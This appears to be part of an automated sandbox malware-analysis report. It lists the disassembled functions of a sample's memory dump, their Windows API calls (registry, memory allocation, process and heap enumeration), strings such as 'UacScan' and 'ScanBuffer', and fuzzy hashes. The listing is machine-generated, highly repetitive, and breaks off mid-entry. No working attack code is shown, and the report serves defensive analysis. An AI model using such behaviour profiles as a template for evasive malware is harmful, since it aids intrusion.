Part of subcall function 029C5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,029C5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 029C5B37
Part of subcall function 029C5A78: RegQueryValueExA.ADVAPI32(?,029C5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,029C5B7D,?,80000001), ref: 029C5B55
Part of subcall function 029C5A78: RegCloseKey.ADVAPI32(?,029C5B84,00000000,?,?,00000000,029C5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 029C5B77

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: a9db3406436e010b39dd26fcd0d6c35844e548252361633a938da95657345822
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: BCE06D71A002148BCB14DE5888C0A4637D8AB08750F510569EC58EF34AD370ED208BE2

Function 029C7D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 029C7DB0

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: 041ce29cf34a8b9461030b28850c37d3b65ea16c243a1f0edcf92493e0d4e83b
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 0ED05B723081107AD220A95E5D44EF75BDCCFC9770F10063DB698C3180D7208C018672

Function 029C7E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,029DF8CC,ScanString,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,UacScan,02A2137C,029EAFD8,UacInitialize), ref: 029C7E23

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction ID: 59677d9a51fad8694a35c499defaef7ea608217b56f791c4c0ae50ca679f9a59
Opcode Fuzzy Hash: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction Fuzzy Hash: 8AC08CE33023000A5A5461FC0CC409A428C09881383B42B3DB038C72E2D33188126873

Function 029C7E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,029E2A49,ScanString,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,Initialize), ref: 029C7E47

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
Instruction ID: 7e755a576b30adbe00816e8c57d725a114483400a10d6344482446b66498c4b1
Opcode Fuzzy Hash: d4a25932c1186a40cb6d5613e0fc1b23b5cf5f8b84d23e416c631f776c8215f9
Instruction Fuzzy Hash: 01C08CF23023040E5E9062FC1CC02DA428E09845343B02B29E038D71E2D32198222823

Function 029C4C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 029C4C37

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction ID: b3d0b2a4ba8b2e10e4fa19b46ed59ad9bb4c378a51794e210b41b13f9816c4f4
Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction Fuzzy Hash: BAC012A678022447EB315A98DCC0795A2CCDB49295B2410A5D408D7255E360DC004A66

Function 029EBB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,029EBB44,00000000,00000001), ref: 029EBB60

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a31201e50ec6f48f3e73a460b28f931cc56a4267529f4fe0c60aa72e6b92cc11
Instruction ID: 1a36be2979489c8e61679c920abb8ce024a6a6511982693a15f1dfd83dde0ad9
Opcode Fuzzy Hash: a31201e50ec6f48f3e73a460b28f931cc56a4267529f4fe0c60aa72e6b92cc11
Instruction Fuzzy Hash: 0EC092F0BD03003EFA2056A85CD2F2365CEE384B44FA0081ABA05EE2E1E6E258600A24

Function 029C4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 029C4BEB

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: b5de3cb78889e929d323545b806468c62898a350d62c4ffda331eb6934dcc8ee
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: 29B0123C74820218FB1012610D10B3A008C0FA0287FB4209D9E29C80C4FF00C0008837

Function 029C4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 029C4C03

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: 17732d357f4bf200c91d8a0071169db7fde74d86d9601632f1225ef1b6e54b7d
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: 3BA022EC2803030A8F0B232C80A002A203B3FE03003FAC0EC00000A0288F3AC000AC3A

Function 029C15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,029C1A03,?,029C2000), ref: 029C15E2

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c9c6fe4a805c610042c6ca8ef2c7ce4d97320caf7c783c1f2c881d403a8ed4c
Instruction ID: b1215253ae5d2e9162b9821561aac06c4f141b16eccdd17346c410337dbe4a6a
Opcode Fuzzy Hash: 8c9c6fe4a805c610042c6ca8ef2c7ce4d97320caf7c783c1f2c881d403a8ed4c
Instruction Fuzzy Hash: 3CF049F0B413008FEB09DF799A443017AD6EB8A354F20857DDB09DB388EB71D4128B04

Function 029C1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,029C2000), ref: 029C16A4

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 859dce17adcd5c2ef7ce85fa27c23f43b42757efd669900800c360639c548640
Instruction ID: 738eac51ad639ce92d091a9f2de163200f27920c149e37d4ac9c5d415b327e01
Opcode Fuzzy Hash: 859dce17adcd5c2ef7ce85fa27c23f43b42757efd669900800c360639c548640
Instruction Fuzzy Hash: 9FF0B4B2B40B95ABD7209F5E9C80792BB94FB50314F150139F94C97341DB70E8158FD8

Function 029C16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 029C1704

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: acf6d5aa6fdb8867ca052827f4bb9ecd4d853e88c1b47cb7b5d7e200bcd07c15
Instruction ID: b81ecd12c46e3ce2098004bab79c4e53804c3e91147f33682ab8321f4e208cc9
Opcode Fuzzy Hash: acf6d5aa6fdb8867ca052827f4bb9ecd4d853e88c1b47cb7b5d7e200bcd07c15
Instruction Fuzzy Hash: 1BE08675300301AFD7105A7D5D407127BDCEB94654F344479F549DB282D660E8158B69

Non-executed Functions

Function 029DA95C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,029DABE3,?,?,029DAC75,00000000,029DAD51), ref: 029DA970
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 029DA988
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 029DA99A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 029DA9AC
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 029DA9BE
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 029DA9D0
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 029DA9E2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 029DA9F4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 029DAA06
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 029DAA18
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 029DAA2A
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 029DAA3C
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 029DAA4E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 029DAA60
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 029DAA72
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 029DAA84
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 029DAA96

Strings

Process32FirstW, xrefs: 029DAA10
Thread32First, xrefs: 029DAA34
Process32Next, xrefs: 029DA9FE
Module32NextW, xrefs: 029DAA8E
Heap32Next, xrefs: 029DA9C8
Process32First, xrefs: 029DA9EC
Module32Next, xrefs: 029DAA6A
Toolhelp32ReadProcessMemory, xrefs: 029DA9DA
CreateToolhelp32Snapshot, xrefs: 029DA980
Thread32Next, xrefs: 029DAA46
Process32NextW, xrefs: 029DAA22
kernel32.dll, xrefs: 029DA96B
Module32First, xrefs: 029DAA58
Heap32ListNext, xrefs: 029DA9A4
Heap32First, xrefs: 029DA9B6
Module32FirstW, xrefs: 029DAA7C
Heap32ListFirst, xrefs: 029DA992

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: f8c35d8dea0c40027c5320d2a16cee3298f7c98fcb6ec27c2316aec0f0dfdf29
Instruction ID: 1a3d5874d6cefe2f7e657a1434841070baf0fc8141f084397f41a1895effaa1e
Opcode Fuzzy Hash: f8c35d8dea0c40027c5320d2a16cee3298f7c98fcb6ec27c2316aec0f0dfdf29
Instruction Fuzzy Hash: E03123B1E807209FFB10FFB8D984A3633AEEBC530071049A9A406DF245D778D8259F62

Function 029C58B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,029C7338,029C0000,029ED790), ref: 029C58D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 029C58E8
lstrcpynA.KERNEL32(?,?,?), ref: 029C5918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,029C7338,029C0000,029ED790), ref: 029C597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,029C7338,029C0000,029ED790), ref: 029C59B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,029C7338,029C0000,029ED790), ref: 029C59C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,029C7338,029C0000,029ED790), ref: 029C59D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,029C7338,029C0000,029ED790), ref: 029C59E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,029C7338,029C0000), ref: 029C5A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,029C7338), ref: 029C5A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 029C5A45

Strings

GetLongPathNameA, xrefs: 029C58DF
kernel32.dll, xrefs: 029C58CC
\, xrefs: 029C59F5

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: da9ba5567a4b2ba85ace21d141fbbfedd84c0bd61d547ab574b4545af33e16db
Instruction ID: d5f5913bcf4d1d951be32f30ea71e1b3c9ee0a77e1a4d21590442da3120d2baa
Opcode Fuzzy Hash: da9ba5567a4b2ba85ace21d141fbbfedd84c0bd61d547ab574b4545af33e16db
Instruction Fuzzy Hash: D6416D71D00259AFDB10DAE8CC88ADEB3BDEF48340F6545A9A148E7241D730EE44CF65

Function 029C5B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 029C5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 029C5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 029C5BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 029C5BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 029C5C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 029C5C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 029C5C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 029C5C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 029C5C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 029C5C97

Strings

Software\Borland\Locales, xrefs: 029C5AA8, 029C5AC6
Software\Borland\Delphi\Locales, xrefs: 029C5AE4

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 76787c4e1ec19a6feace258257eea4757923cb7b4020a59c61ce0cee1ed2da91
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 9F31B571E4021C2AEF25D6B4CC45BDFB7AD4B44380FA501E99608F6185DA74EE448F56

Function 029C7F5C Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 029C7F7D

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: decc225e8913f5a36f80010b72edd2955afa4d6cef0445e91f91f8cf67aaa865
Instruction ID: fd32302c27b548bcbe01cf445a5a4ac01002763f70dec93d74200615611a44da
Opcode Fuzzy Hash: decc225e8913f5a36f80010b72edd2955afa4d6cef0445e91f91f8cf67aaa865
Instruction Fuzzy Hash: D411D2B5E00209AFDB04CF99C981DEFF7F9EFC8704B14C569A505EB254E671AA01CB91

Function 029CA74C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 029CA76A

Memory Dump Source

